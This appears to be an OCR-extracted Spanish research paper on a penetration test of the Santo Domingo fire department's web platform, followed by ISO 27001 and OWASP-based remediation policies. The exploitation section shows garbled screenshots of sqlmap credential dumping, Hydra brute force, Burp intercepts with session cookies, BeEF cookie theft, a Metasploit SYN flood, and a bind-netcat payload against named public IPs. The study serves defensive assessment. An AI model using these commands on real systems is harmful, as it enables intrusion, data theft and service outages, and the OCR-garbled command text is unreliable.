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Resumen

La presente investigacion se realizo sobre la plataforma tecnoldgica del Cuerpo de Bomberos del GAD Municipal de Santo Domingo
con el objetivo de identificar amenazas, vulnerabilidades y definir un plan de seguridad empleando normas ISO 27001 y OWASP
Top 10-2017. El proceso para las pruebas de penetracion y explotacion de vulnerabilidades web se lo realizo en 4 fases: recopilacion
de informaci6n, analisis de vulnerabilidades, explotacién y generacién de informes. Para las pruebas se utilizo las herramientas:
Nessus, Vega, BurpSuite, BeEF, Metasploit, Synflood, Hydra y Zenmap. Como resultado se determiné que la plataforma web era
vulnerable a: inyeccién (A1:2017), pérdida de autenticacion (A2:2017), exposicion de datos sensibles (A3:2017), pérdida de con-
trol de acceso (A5:2017), configuracion de seguridad incorrecta (A6:2017), uso de componentes con vulnerabilidades conocidas
(A9:2017), registro y monitoreo insuficientes (A10:2017); en base a esta evaluacion se creb e implement6 politicas y procedimien-
tos internos de seguridad. Posteriormente se ejecutd pruebas de vulnerabilidades sobre 2 prototipos (Prototipo I: sin plan de
seguridad, Prototipo II: considerando el plan de seguridad) de lo que se obtuvo un incremento en la seguridad de la plataforma
tecnolbgica de un 75%.
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Security plan for web platforms using ISO 27001
standards and considering the OWASP top 10-2017

Abstract

The present investigation was carried out on the technological platform of the Fire Department of the Municipal GAD of Santo
Domingo with the objective of identifying threats, vulnerabilities and defining a security plan using ISO 27001 and OWASP Top
10-2017 standards. The process for penetration testing and exploitation of web vulnerabilities was carried out in 4 phases: informa-
tion gathering, vulnerability analysis, exploitation and report generation. For the tests, the following tools were used: Nessus, Vega,
BurpSuite, BeEF, Metasploit, Synflood, Hydra and Zenmap. As a result, it was determined that the web platform was vulnerable
to: injection (A1:2017), loss of authentication (A2:2017), exposure of sensitive data (A3:2017), loss of access control (A5:2017), con-
figuration incorrect security (A6:2017), use of components with known vulnerabilities (A9:2017), insufficient logging and monito-
ring (A10:2017); Based on this evaluation, internal security policies and procedures were created and implemented. Subsequently,
vulnerability tests were carried out on 2 prototypes (Prototype I: without a security plan, Prototype II: considering the security
plan) from which an increase in the security of the technological platform of 75% was obtained.
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I. INTRODUCCION

La dependencia de la tecnologia en las
organizaciones no solo trae beneficios para
las empresas hay que considerar medidas de
Ciberseguridad, ya que estaran expuestas a una
gran cantidad de amenazas que de aprovechar sus
vulnerabilidades podrian comprometer seriamente
sus activos de informacién. (Santiago & Allende,
2017)

En vista de la constante evolucion de la
tecnologia las
aplicaciones a la web con la finalidad de brindar
un mejor servicio a los clientes, sin embargo, estos
sistemas pueden estar en riesgo; debido a esto se
busca implementar lineamientos de seguridad en
todos los activos de informacién para precautelar
la confidencialidad, disponibilidad e integridad

organizaciones migran sus

de los sistemas y de la data que almacenan
garantizando su valor y reputaciéon. (AlGhamdi &
Vlahu, 2020) (Ladino, Villa, & Lopez, 2011)

La Organizacion
Estandarizacion (ISO), a través de las normas
recogidas en ISO / IEC 27000, establece una
implementacion efectiva de la seguridad de la

Internacional de

informaciéon empresarial desarrolladas en las
normas ISO 27001 / ISO 27002. Para preservar la
informacion, no es suficiente la implementaciéon de
controles y procedimientos de seguridad realizados
frecuentemente con criterio comun, en torno a
la compra de productos técnicos y sin considerar
toda la informacién esencial que se debe proteger.
(Normas ISO, 2020)

OWASP (OpenWebApplication Security Project)
es un proyecto de codigo abierto cuyo propodsito
estd dedicado a la basqueda y la lucha contra las
vulnerabilidades en el software. (OWASP, 2021).
El OWASP Top 10-2017 se basa principalmente
en el envio de datos de mas de 40 empresas que
se especializan en seguridad de aplicaciones y
una encuesta de la industria completada por
mas de 500 personas. Esta informaciéon abarca
vulnerabilidades recopiladas de cientos de
organizaciones y més de 100.000 aplicaciones y
APIs del mundo real. Las 10 principales categorias
son seleccionadas y priorizadas de acuerdo con
estos datos de prevalencia, en combinacién con
estimaciones consensuadas de explotabilidad,
detectabilidad e impacto. (OWASP, 2017)

2 |

La plataforma tecnologica del Cuerpo de
Bomberos del GAD Municipal de Santo Domingo
(CB-GADM-SD) no cuenta
procedimientos de seguridad
por lo que estd expuesta ante amenazas y
vulnerabilidades.

Porloque,elobjetivodelapresenteinvestigacion
es mejorar el nivel de seguridad de la plataforma
tecnolbgica estableciendo un plan de seguridad

con politicas y
estandarizados

para la mitigacién de las vulnerabilidades més
potenciales que pueden afectar a la disponibilidad,
confidencialidad e integridad de los servicios en
linea que ofrece la Organizacién, utilizando las
normas ISO 27001 y considerando la propuesta de
OWASP Top 10-2017.

Se han realizado investigaciones relacionadas
las cuales tratan parcialmente mas no comprenden
la tematica propuesta, dentro de esos trabajos se
pueden resaltar a:

« La investigaciéon realizada por Ballen,
Ayala y Sierra (2017) en la cual los autores
realizan pruebas de SQL injection tomando
como base el listado de OWASP Top Ten
2013 que considera a esta vulnerabilidad
como la primera. Utilizan la herramienta
“Zed Attack Proxy” para determinar de
forma especifica las vulnerabilidades de
la aplicacién. Esta investigacion se limita
a recopilar la documentacion de la técnica
en base a el listado del OWASP-2013, el
analisis de una aplicacién web y a proponer
recomendaciones relacionadas inicamente
con SQL injection.

« La investigaciébn realizada por Rojas-
Osorio, Medina-Cardenas y Bautista
(2016), en la cual los autores realizan
pruebas de penetracion utilizando técnicas
de hacking ético en redes que utilizan el
protocolo IP, empleando como sistema
operativo BackTrack para determinar
las vulnerabilidades en estos sistemas.
Esta investigacion se limita a pruebas de
laboratorio desarrolladas en una red de
area local sobre los protocolos IPv4 e IPv6
(configurada en ambientes controlados).

« La investigacion de Solarte, Rosero y
Benavides (2015), en la cual los autores
implementan sistemas de seguridad de la



informaciéon y consideran la metodologia
de Magerit para el andlisis y gestion de
riesgos. En su propuesta aplican etapas
de auditoria, andlisis y evaluacion de
riesgos. Como resultado de la investigaciéon

proponen controles de la seguridad
que puedan incrementarla en base de
sus necesidades. [Esta investigacion

se enfoca al uso de una metodologia
diferente a la familia de las normas ISO
27000 especificamente para el anélisis
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y evaluacion de riesgos y no se incluye el
anélisis de las vulnerabilidades potenciales

de acuerdo con el li

II. DESARROLLO

stado OWASP-2017.

La metodologia utilizada fue la disefiada por
Toledo-Diaz (2014), la cual abarca 4 fases para
realizar las pruebas de penetracion y explotaciéon

de las vulnerabilidades web, las herramientas que
se utilizaron en cada una de ellas se resumen en la

Tabla 1.

Tabla 1. Resumen de las fases de pruebas de penetracién y explotacion

Fases Descripcion Herramienta
Fase 1: Recopilacion de Lo ., Lo
. x P En esta etapa se obtiene informacion de la plataforma web Kali Linux
informacion (rastreo y L . .
L. de la organizacion utilizando herramientas de pentesting ¢ Zenmap
exploracion)
. Kali Linux
T . Z
Fase 2: Analisis de . . . enmap
o En esta etapa se realizan pruebas para identificar recursos y ¢ Nessus
vulnerabilidades L )
. servicios especificos . Vega
(enumeracion)
. Chrome
. Mozilla Firefox
. Kali Linux
. Burn Site
. Wireshark
Fase 3: Explotacion . Metasploit
(acceso, escalada de En esta etapa se obtiene el acceso no autorizado a los . Synflood
privilegios, daifio, borrado recursos o servicios identificados. . Hydra
de huellas) . SQLmap
. BeEF
. Chrome

Fase 4: Generacion de
informes

En esta etapa se informa las acciones y pruebas que se
han realizado, las técnicas y herramientas utilizadas con
su respectivo nivel de gravedad para la organizacion y la

propuesta del plan.

Mozilla Firefox

Procesador de texto

En la Tabla 2 se describe de forma resumida las herramientas utilizadas en la investigacion.

Tabla 2. Resumen de las herramientas utilizadas

Sistema operativo

Escaneo y deteccién
de vulnerabilidades

Explotacion de

vulnerabilidades Sniffer

Navegadores web

Kali Linux: destinada a

pruebas de penetracion

y auditoria. (Kali linux,
2021)

Nessus: escaneo
de vulnerabilidades
(Tenable, 2021)

Burp Suite: pruebas
de seguridad
en aplicaciones
(PortSwigger, 2021)

Zenmap: escaneo
de puertos (Zenmap,
2021)

Wirewhark: analizado
de protocolos y trafico
en la red. (Wireshark,

2021)

SQLmap: explotacion de
vulnerabilidades de SQL
injection (Sqlmap, 2021)

Hydra: pruebas con
cuentas de usuario por
SSH bajo fuerza bruta.

(Cortez, 2017)

Metasploit: informacion
de vulnerabilidades de
seguridad. (Rapid7,
2021)

Google Chrome:
navegador web sin coste
econodmico desarrollado

por Google.(Google,
2021)

T
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Synflood con
metasploit: inundacion
SYN para denegacion de
servicios. (Comando It,
2021)

BeEF: pruebas de
penetracion que se centra
en el navegador web.
(Alcorn, 2021)

Vega: escanco de
vulnerabilidades
de aplicaciones.

(Subgraph, 2021)

Fase 1: Recopilacion de informacion se utiliz6 la herramienta Zenmap, para determinar

(rastreo y exploracion) el esquema de red local de la Organizaci6on; como
En la fase de recopilaciéon de informacion se se muestra en la Figura 1.

realiz6 la verificacion fisica de la infraestructura,

Flanta Boja
Subjefaturs de Bomberos. Unidad de Prevencidn e ingenieria del Fuego, Recaudacion. Informacadn

IP Phaned Fel

/

=

I8
? Atacante
| 192.168.1.0i24 el =
| ‘ i Prnter!
I APO
+ Primer Prso
] P, 190.12.26 218 Direccion General. Direccidn Talento Humano. Dieccion Planficaciin. Direccign Juridica
. - 192 168.2.024 - 3 < J Q
F
\ ) : IF) F___#
e I*Q\w‘l N IP Phane? PC2
1P 190.12.28.220

1P 190.12.28 219 S e {_}_,al. -y
A2 Printar?
P 15216814 1P 192168156 P o192 16813 Saqundo Piso
}i Direccidn Admmistiativa, Direccidn Financiera
ﬂq; _g_. .
P Phone1 PC3
Senidor APP Seradar APP2 Servdor BOD
50 CemtOS 7 S0 Cent0S 7 S0 Windows Server 2008
|
5] -

Printed

Figura 1. Infraestructura de la organizacion

La Tabla 3 detallalos equipos de red que forman  por los servidores de aplicaciones, servidor de base
parte de la plataforma web, la misma que se integra  de datos y router de salida.

Tabla 3. Listado de dispositivos de la plataforma web

Dispositivo Detalle Funcion
Mikrotik WAN Router interno Mikrotik Administracion princip al de servicios
de internet
Mikrotik LAN Router de salida Mikrotik Servidor del Firewall

Sistema operativo: CentOS 7 Servidor principal para servicios de
Apache P palp

aplicaciones NodeS atencion al cliente

Servidor de

Servidor 2 de Sistema operativo CentOS 7

aplicaciones Apache Servidor de respaldo
P NodeJS
. Sistema operativo Windows Server Servidor de base de datos, alimenta
Servidor de base de . . .
2008 la informacién a los servidores de
datos L
PostgreSQL aplicaciones




Fase 2: Analisis de vulnerabilidades
(enumeracion)
En la fase de anilisis de vulnerabilidades se
utilizaron las siguientes herramientas:
» Zenmap para el escaneo de los servicios y
puertos abiertos o activos.
e Nessus, BurpSuite y Vega para el escaneo

de vulnerabilidades de seguridad.

pruebas de
vulnerabilidades a la plataforma web, se determiné

Una vez realizadas las
que es vulnerable a 8 de las 10 consideradas en el
listado OWASP Top 10-2017, las cuales fueron:
A1:2017 - Inyeccidon, A2:2017 — Pérdida de
autenticacion, A3:2017 — Exposicion de datos
sensibles, A5:2017 — Pérdida de control de acceso,
A6:2017 — Configuracion de seguridad incorrecta,
A7:2017 — Cross-Site Scripting (XSS), A9:2017
— Uso de componentes con vulnerabilidades
conocidas, A10:2017 — Registro y monitoreo
insuficientes.

Fase 3: Explotacién (acceso, escalada de
privilegios, daiio, borrado de huellas)
En la fase de explotacion se utilizaron las

8 sglmap *

prior mutual
o damage caw

* 15 empty. Plaase, always wse enly

you have not declared cook

whills server sants to set

vt hdandos /REQUEST® —data" typa=trucs"

L. It is the end user's res

rasater waluas 5o
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siguientes herramientas:

e Burn Suite para escaneo y deteccion de
vulnerabilidades

+  SQLmap paradeteccion devulnerabilidades
de SQL

+  Hydra para pruebas con cuentas de usuario
por SSH bajo fuerza bruta

«  Metasploit para explotacion de
vulnerabilidades

« Synflood para pruebas de denegacién de
servicios.

+  BeEfparaprueba centradas en el navegador

Pruebas realizadas para cada una de las
vulnerabilidades del listado OWASP Top-2017
sobre la plataforma web:

A1:2017 - Inyeccion

Para la explotacion de vulnerabilidades de SQL
se utiliz6 SQLMap a través de cual se obtuvo el
acceso alos registros delas tablas dela base de datos
como datos de usuario, cuentas bancarias, entre
otros. En la Figura 2 se muestra las propiedades de
las tablas de la base de datos.

—batch -0 admin —sqlmap-shell

rility to cbey all applicable local, state and federsl lmws. Develo

sqlmap could be able to run preperly

' sensionlylalyttossipg7daiskh ... othf7s#170' ). Do you want to wse those [Y/n] ¥

|| CSELECT (CaSE wHEM {

os' in database 'admin’

Figura 2. Propiedades de la base de datos

A2:2017 — Pérdida de autenticacion

Una vez que se ha ganado el acceso a la base
de datos se analiz6 la informacién de las tablas
en busca de informacién relacionada con las
credenciales de los usuarios de la Organizacion.

Mediante SQLMap se realizaron consultas y se
obtuvo la informac--i6n de los registros y claves
descifradas que no contaban con criterios de
seguridad. En la Figura 3 se muestra las claves
descifradas de la tabla de usuarios.
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( 11 1 3
what dlctionary do you want to use?

[1] default dictionary file °/fusr/share/sqlsep/data/tat/werdlist.tx_* (press Enter)
[2] custon dictionary file
[3] file with List of dictiomary fi

Figura 3. Descifrado de credenciales con SQLMap
Serealizaron pruebas con las cuentas de usuario  diccionario de la herramienta Hydra como se
por SSH utilizando fuerza bruta con ataques de muestra en la Figura 4.

n 1
password

Figura 4. Obtencion de contrasefas con Hydra
A3:2017- Exposicion de datos sensibles credenciales de acceso a la plataforma web. En la
Se configur6 la herramienta Burp Suite como  Figura 5 se muestran los paquetes que se envian y
proxy por defecto, utilizando la comunicacién entre  reciben entre el cliente y el servidor.
el cliente y servidor con la finalidad de obtener las

Burp Suite Community Edition v2.1.07 - Temporary Project

Burp Project Intruder Repeater Window Help
Dashboard | Target iP!’n_xy Intruder [ Repeater | Sequencer [ Decoder I Comparer ] Extender TFrojer_t options I User options |
-
| Intercept ] HTTP history [ WebSockets history i Options ]
| Filter: Hiding €55, image and general binary content
# 4| Host Method | URL | Params | Edited | 5tatus | Length MIME type | Extension
| LY R S YT ey L 1 T OO U T YOI . “Eow ey e I
95 http://servicios.chsd.gob.ec GET Itthh/scripts/controllers/main. js 200 10647 script is
96 http:/iservicios.chsd gob ec GET ftthh/scripts/contrallers/script s 200 21148 script is
a7 http:/iservicios.chsd gob.ec POST fapp/tthh/personal/REQUEST ¥ 200 246787  |SON
99 hitp:/fservicios. chsd.gob.ec GET lapp/src/views/main/session. htmi 200 790 text htmi
100 http:/fservicios.chsd.gob.ec GET fthhiviews/menu/menu. html 200 16853 HTML htmnl
101 http://servicios.chsd. gob_ec GET fthhfviews/mainfhome. html 200 1697 HTML html
102 http:i/servicios.chsd. gob.ec GET thhiviewsfinclude/cardProfileHome h. .. 200 2118 HTML html
103 hitp:i/servicios.chsd.gob.ec GET fthhiviewsfinclude/cardjob, htm| 200 1678 HTML html
104 http-i/servicios.chsd gob.ec GET fappisrcfimglusers/%7B%7Bitem. men 200 371 JSON
116 http://detectportal firefox. com GET fsuccess txt 200 379 text tuct
121 httpi/iservicios.cbsd.gob.ec POST Jappitthhipersonal/AEQUEST J 200 246787  |SON
122 http:fiservicios.cbsd.gob_ec GET fappisrciviews/main/tps. html 200 751 bext html
123 http:fiservicios.chsd gob.ec GET ftthhfviews/module/profile/banks. html 200 3189 XML html
125 http.//servicios.chsd.gob.ec GET fthhfviews/includestoolbarFilter html 200 1760 XML html

Figura 5. Paquetes interceptados con Burp Suite

En la Figura 6 se muestra la informacién atacante puede capturar el payload, modificarlo y
interceptada por el atacante en texto plano, el enviarlo al servidor con datos alterados para un fin
especifico.
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Burp Project Inbuder Repeater

Window  Help

| Dshboard | Torget | Proxy | intruder | Mepester. | sequencer | Decoder | comparer | Extender | P

oject options | User options |

—

2@

Target: httpuisenicios.chsd.gob.ec

Jpersonal /REQUEST HTTP/1, 1

105 chad,gob.ec

112/5.0 (X111 Linux xB6_64: rvi62,.0) Gocko/20100101 Firafou/68.0
ation/]son, text/plain, *7+

T

User-Agen
kecept: appl

Content-Length: 18
Comnection: close
Cookie: sessionBylLalyttosseglpafn F7iousactudellush

{*account®:*tthh*}

p L

as-Age: BE0D
Hov 1381
vo-stere, ne-c

terevalidata
Content-Type: spplication/ison: charsetutf-8
Content-Length: 246360

. 1 183,
"personal_registro”

*fh_jornada_id": 2,
“persenal_contrasenis®: *B4Y1eSB2IchieSciSOl6a10alicedsy”,

Figura 6. Alteracion de sesion de usuario

A5:2017 - Pérdida de control de acceso
Utilizando Burp Suite se interceptaron los
paquetes de los pedidos realizados al servidor con
la finalidad de modificarlos y acceder a sitios no
autorizados, debido a que la plataforma web genera
consultas y navegacion mediante la direccién URL.
Esta herramienta permiti6é cambiar las direcciones

para obtener informacion sesiones creadas

URL manualmente para navegar por el sitio, de
esta manera se obtuvieron las peticiones realizadas
al back-end para el llenado de datos del usuario.
Como se muestra en la Figura 7, se altera el URL
para acceder a sitios que requieren roles de acceso
especificos.

Burp Praject Infruder Repeater Window Help

[ Dashbeard | Target [ Proxy [ intruder [ Regeater | sequencer [ Decodar [ camparer [ Exterder |

Project optans | User aptians |

[ xT2aTa= Tl -]

Send Canca)

Request

Raw | Pararns | Headers | Hea |
GET

Target: hitpiiservicios.chsd.gob.ec

Hesponse

Raw | Headers [ Hex |

fappstthhigetRequestedvacations Tenart_queryifiltersilimit=1okorders-vacacion_fechs_d
esdeipage~1 HTTP/L.1

Most: servicios.chbsd.gob.ec

User-Agent: Mozillas5.9 (X11: Linux xB6_E4: rv:68.0) Geckos/20100181 Firefoxs/68.0
Accept: moplication/json, text/plain, */2

Accept-Lasguage: en-US,en:qel.5

Accept-Encoding: gzip. deflate

Referer: nttp://servicios.cbsd.gob.ec/tthh/leadership/request/vacations

Connectioa: elese

Cookie: sessionBylalytto=aeglonfn)f7l0ubacfudellush

K-Powsred-By: PHP/7.2.15
Access-Control-Allow-arigin: *
Rccess-Contrel-Allow-Credentials: true
Access-Control-Max-Age: 0680

Expires: Thu, 19 Wov 1981 08:52:00 GHT
must-revalicate

Cache-Contral: no-stere,
Pragma: na-cache
Content-Length: 353
Connection: close
Content -Type: application/fsen; charset=utf-8

no-cache,

i

“type": "smart_guery".

“stre: SELECT * PROM tthh,ww_vacaciones sclicitadas vu_vacaciones_solicitadas
WHERE i{_personal=159 DADER BY vacacion_fecha desde DESC LIMIT 10 OFFSET 0°.

"th": ‘getReguestedvacations®,

“data”:

Figura 7. Paquetes interceptados con Burp Suite

A6:2017
incorrecta

Se generd un synflood utilizando Metasploit
con el objetivo de producir una denegacion de
servicio (Dos), explotando la vulnerabilidad de la

Configuracion de seguridad

red al no contar con controles en su configuracion
como se muestra en la Figura 8 y en la Figura 9
se verifica la afectacion en la disponibilidad de la
plataforma web.
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msfS > use auxiliary/dos/tcp/synflood
auxiliary( ) > show options

Module options (auxiliary/dos/tcp/synflood):

INTERFACE The nam the interface
NUM 0 Number of SYNs to send (else
RHOSTS 7 The target host{s), range CIDR identifier, or hosts file with syntax 'fil
C The target port
The spoofable e address (else randomizes)
SNAPLEN 53¢ yes The number of bytes to capture
SPORT no The source port (else randomizes)
TIMEQUT 500 yes The number of seconds to wait for new data

msfS auxiliary( ) > set RHOSTS 199.12.28.220
RHOSTS = 190.12.28.220
msfS auxiliary( } > exploit

Running module against 199.12.28.220

SYN flooding 190.12.28.220:80 ...

Figura 8. Ejecucion de Synfood con Metasploit

Figura 9. Falta de disponibilidad de la plataforma web
A7:2017 - Cross-Site Scripting (XSS) del usuario. Para verificar que se ha ingresado
Se inyect6 codigo JavaScript, explotando exitosamente el codigo se utilizd el inspector de
la vulnerabilidad en la interfaz grafica de un elementos en el navegador visualizando la etiqueta
formulario conelnavegadoryseobtuvoinformaciéon =~ HTML como se muestra en la Figura 10.

APELLIDOS

Figura 10. Verificacion de codigo javascript ingresado

De igual forma se utiliz6 la herramienta BeEF  capturar las cookies de las sesiones del navegador,
para inyectar c6digo JavaScript con la finalidad de  como se muestra en la Figura 11.
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Logs

Legs || Commands || Prowy

Module Tree

rch
[ Browses (58)
# =5 Chrome Extensions (6]
Get All Cookies
Grab Google Contacts
Inject BeEF
Screenshot
@ Execune On Tab
@ Send Guoice SMS
1 Debug ()
& ] Exploits (109)

A9:2017 - Uso

XssRays

Module Results History Get All Cookies

| Current Browser

ida | dale label Descrption.  Sseal coakies, sven HapOnly cockies, providing the hooked extension has cockies access.
o 21812171730 command 1 If & URL is not specified then all cookies are returned (this can be a lotf)

1 2019-12:17 1736  command 2 Id: 00

Domain {e.g default all
ity facebonk com;

Figura 11. Obtencién de sesiones con BeEF

de componentes con obtenidas en la etapa de escaneo y se las exploto

vulnerabilidades conocidas
Bajo el servidor web Apache, se utilizo los la Figura 12.
CVE (Vulnerabilidades y exposiciones comunes)

con la herramienta Metasploit, como se muestra en

+ — 1949 exploits - 1098 auxiliary - 334 post
+ - 558 payloads - 45 encoders - 10 nops

+ — 7 evasion

msf5 > use exploit/unix/webapp/twiki_history

msf5 exploit(

) > show options

Module options (exploit/unix/webapp/twiki_history):

Name Current Set
Proxies

RHOSTS

RPORT

S5L

URI Stwiki/bin
VHOST

g Required

Description

A proxy chain of format type:host:port[,type:host:port][ ...]

The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
The target port (TCP)

Negotiate SSL/TLS for outgoing connections

Twiki bin directory path

HTTP server virtual host

Figura 12. Explotacion de vulnerabilidades a Apache

En la Figura 13 se realiz6 el ataque para acceder  servicio, configuraciones en el servidor, ademas

al servidor, se escal6 privilegios para obtener mads  mantener una conexién backdoor para el acceso

informaci6on como puertos, denegaciéon de algin  posterior.

msf5 exploit(
RHOSTS = 190.12.28.219
msf5 exploit(

payload =+ cmd/unix/bind_netcat

msf5 exploit(

) > set RHOSTS 1990.12.28.219
) > set payload cmd/unix/bind_netcat

) > show options

Module options (exploit/unix/webapp/twiki_history):

Name Current Setting Required

Proxies

RHOSTS 190.12.28.219 yes

RPORT 8@

S5L false

URI Stwiki/bin
VHOST

yes
no
yes
no

Description

A proxy chain of format type:host:port[,type:host:porti[...]

The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
The target port (TCP)

Negotiate SS5L/TLS for outgoing connections

TWiki bin directory path

HTTP server virtual host

Payload options (cmd/unix/bind_netcat):

Name Current Setting Regquired Description

LPORT  &&d4
RHOST 198.12.28.219

A10:2017 -  Registro

insuficientes

The listen port
The target address

Figura 13. Payload para explotacién de vulnerabilidad en Apache

y monitoreo monitoreo.

En el procesode explotacion de vulnerabilidades  Fase 4. Generaciéon de informes
se determin6 que no cuenta con politicas de En la fase de generacion de informes, se define

seguridad ni el conocimiento especifico del equipo el plan que pretende mejorar la seguridad de la

de tecnologias por lo que no existi6 el registroniel plataforma web de la Organizacién, definiendo
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politicas de seguridad mediante recomendaciones o Politica de desarrollo seguro
para minimizar las vulnerabilidades existentes, «  Recomendaciones de seguridad de OWASP
considerando: Top-2017
 Lanorma ISO 27001 (INEN, 2015)
¢ Adquisicion, desarrollo y Los cuales deben ser implementados por los
mantenimiento del sistema nuevos sistemas y por los existentes (servicios
o Seguridad en el desarrollo y en los en linea, talento humano, subjefatura vy
procesos de soporte administracidon), como se muestra en la Tabla 4.

Tabla 4. Politicas y procedimientos especificos de seguridad implementados

Politica ISO 27001: Politica de desarrollo seguro
Control: Se deben establecer y aplicar reglas dentro de la organizacion para el desarrollo de aplicaciones y sistemas

A1:2017 - Inyeccién

Las fallas de inyeccion, como la inyeccion SQL, NoSQL, OS y LDAP, ocurren cuando se
envian datos que no son de confianza a un intérprete como parte de un comando o consulta.
Los datos hostiles del atacante pueden enganar al intérprete para que ejecute comandos no
deseados o acceda a datos sin la debida autorizacion.

Implicacion de seguridad

Prevenir la inyeccion requiere mantener los datos separados de los comandos y las consultas:

. Usar una API segura, que eviten por completo el uso del intérprete.

. Utilizar una interfaz parametrizada o usar herramientas de mapeo relacional de objetos
(ORM).

. Usar validacion de entrada del lado del servidor positiva o "lista blanca"

. Para consultas dinamicas, se deben saltar los caracteres especiales usando la sintaxis de
escape especifica.

. Usar LIMIT y otros controles de SQL dentro de las consultas para evitar la divulgacion
masiva de registros en caso de inyeccion de SQL.

A2:2017 — Pérdida de autenticacion

Procedimiento especifico:
Prevenir inyecciones

Las funciones de la aplicacion relacionadas con la autenticacion y la gestion de sesiones
a menudo se implementan incorrectamente, lo que permite a los atacantes comprometer
contrasefas, tokens de sesion, o explota otras fallas de implementacion para asumir las
identidades de otros usuarios de forma temporal o permanente.

Implicacion de seguridad

. Siempre que sea posible, implementar la autenticacion multifactor para evitar ataques
automatizados, de relleno de credenciales, de fuerza bruta y de reutilizacion de
credenciales robadas.

. No enviar por medios inseguros ninguna credencial predeterminada, especialmente para
usuarios administradores.

. Implementar verificaciones de contrasefias débiles, como probar contrasefias nuevas o
modificadas y compararlas con una lista de las 10000 peores contrasefias.

. Alinear las politicas de longitud, complejidad y rotacién de contrasefas.

. Verificar que las rutas de registro, recuperacion de credenciales y API estén protegidas
contra los ataques de enumeracion de cuentas mediante el uso de los mismos mensajes
para todos los resultados.

. Limitar o retrasar cada vez mas los intentos fallidos de inicio de sesion.

. Registrar todos los errores y alertar a los administradores cuando se detecten ataques de
Credential Stuffing, fuerza bruta u otros.

. Usar un administrador de sesion incorporado, seguro y del lado del servidor que genera
una nueva ID de sesion aleatoria con alta entropia después de iniciar sesion.

. Los ID de sesion no deben estar en la URL, deben almacenarse de forma segura e
invalidarse después de los tiempos de espera de cierre de sesion, inactividad y absoluto.

A3:2017 — Exposicion de datos sensibles

Procedimiento especifico:
Proteger los métodos de
autenticacién

Muchas aplicaciones web y API no protegen adecuadamente los datos confidenciales, como
los financieros, de salud e informacion de identificacion personal. Los atacantes pueden robar
o modificar dichos datos débilmente protegidos para realizar fraudes con tarjetas de crédito,
robo de identidad u otros delitos. Los datos confidenciales pueden verse comprometidos
sin proteccion adicional, como el cifrado en reposo o en transito, y requieren precauciones
especiales cuando se intercambian con el navegador.

Implicacion de seguridad
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. Clasificar los datos procesados, almacenados o transmitidos por una aplicacion.
Identificar los datos que son confidenciales de acuerdo con las leyes de privacidad, los
requisitos reglamentarios o las necesidades comerciales.

. Aplicar controles segun la clasificacion.

. No almacenar datos confidenciales innecesariamente.

. Cifrar todos los datos confidenciales en reposo.

. Garantizar que se implementen algoritmos, protocolos y claves estandar solidos y

Procedimiento especifico: actualizados.
Prevenir la exposicién de Utilizar una gestion de claves adecuada.
datos sensibles . Cifrar todos los datos en transito con protocolos seguros como TLS con cifrados Perfect

Forward Secrecy (PFS), priorizacion de cifrado por parte del servidor y parametros
seguros. Utilizar el cifrado mediante directivas como HTTP Strict Transport Security
(HSTS).

. Deshabilitar el almacenamiento en caché para la respuesta que contiene datos
confidenciales.

. Almacenar contrasefas utilizando funciones de hash adaptables y solidas con un factor
de trabajo (factor de demora), como Argon2, scrypt, berypt o PBKDF2.

A5:2017 — Pérdida de control de acceso

Las restricciones sobre lo que pueden hacer los usuarios autenticados a menudo no se aplican
correctamente. Los atacantes pueden explotar estas fallas para acceder a funciones y/o datos
no autorizados, como acceder a las cuentas de otros usuarios, ver archivos confidenciales,
modificar los datos de otros usuarios, cambiar los derechos de acceso, etc.

Implicacion de seguridad

El control de acceso solo es efectivo si se aplica en un codigo confiable del lado del servidor
o en una API sin servidor, donde el atacante no puede modificar la verificacion de control de
acceso o los metadatos.
. Implementar mecanismos de control de acceso una vez y reutilizarlos en toda la
aplicacion, incluida la minimizacién del uso de CORS.
. Los controles de acceso al modelo deben hacer cumplir la propiedad de los registros, en
lugar de aceptar que el usuario pueda crear, leer, actualizar o eliminar cualquier registro.
Procedimiento especifico:  * Deshabilitar la lista de directorios del servidor web y asegurarse de que los metadatos
Prevenir la pérdida de del archivo (por ejemplo, .git) y los archivos de copia de seguridad no estén presentes
control de acceso en las raices web.
. Registrar fallas de control de acceso, alertar a los administradores cuando corresponda
(por ejemplo, fallas repetidas).
. Tasa de limite de APl y acceso al controlador para minimizar el dafo de las herramientas
de ataque automatizado.
. Los tokens JWT deben invalidarse en el servidor después de cerrar la sesion.
. Los desarrolladores y el personal de control de calidad deben incluir una unidad de
control de acceso funcional y pruebas de integracion.

A6:2017 — Configuracion de seguridad incorrecta

La mala configuracion de la seguridad es el problema mas comun. Esto suele ser el resultado
de configuraciones predeterminadas inseguras, configuraciones incompletas o ad hoc,
almacenamiento en la nube abierto, encabezados HTTP mal configurados y mensajes de error
detallados que contienen informacion confidencial. No solo se deben configurar de forma
segura todos los sistemas operativos, macros, bibliotecas y aplicaciones, sino que también se
deben parchear/actualizar de manera oportuna.

Implicacién de seguridad

Deben implementarse procesos de instalacion seguros:

. Los entornos de desarrollo, control de calidad y produccion deben configurarse de
manera idéntica, con diferentes credenciales utilizadas en cada entorno. Este proceso
debe automatizarse para minimizar el esfuerzo requerido para configurar un nuevo
entorno seguro.

Procedimiento especifico:  * Eliminar o no instalar caracteristicas y macros no utilizados.
Evitar configuraciones de  ° Revisar y actualizar las configuraciones apropiadas para todas las notas de seguridad,
seguridad por defecto actualizaciones y parches como parte del proceso de administracion de parches.

. Una arquitectura de aplicacion segmentada que proporciona una separacion eficaz y
segura entre componentes, con segmentacion y grupos de seguridad en la nube (ACL).

. Envio de directivas de seguridad a los clientes.

. Un proceso automatizado para verificar la eficacia de las configuraciones y ajustes en
todos los entornos.
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A7:2017 — Cross-Site Scripting (XSS)

Implicacion de seguridad

Procedimiento especifico:
Prevenir los ataques XSS

Las fallas de XSS ocurren cada vez que una aplicacion incluye datos que no son de confianza
en una nueva pagina web sin la validacion o el escape adecuados, o actualiza una pagina web
existente con datos proporcionados por el usuario mediante una API de navegador que puede
crear HTML o JavaScript. XSS permite a los atacantes ejecutar secuencias de comandos en
el navegador de la victima que pueden secuestrar sesiones de usuario, desfigurar sitios web o
redirigir al usuario a sitios maliciosos.

La prevencion de XSS requiere la separacion de los datos que no son de confianza del

contenido activo del navegador. Esto se puede lograr mediante:

. Usar frameworks que escapen automaticamente de XSS por disefio, como Ruby on
Rails, React JS.

. Escapar los datos de solicitud HTTP que no son de confianza segun el contexto en la
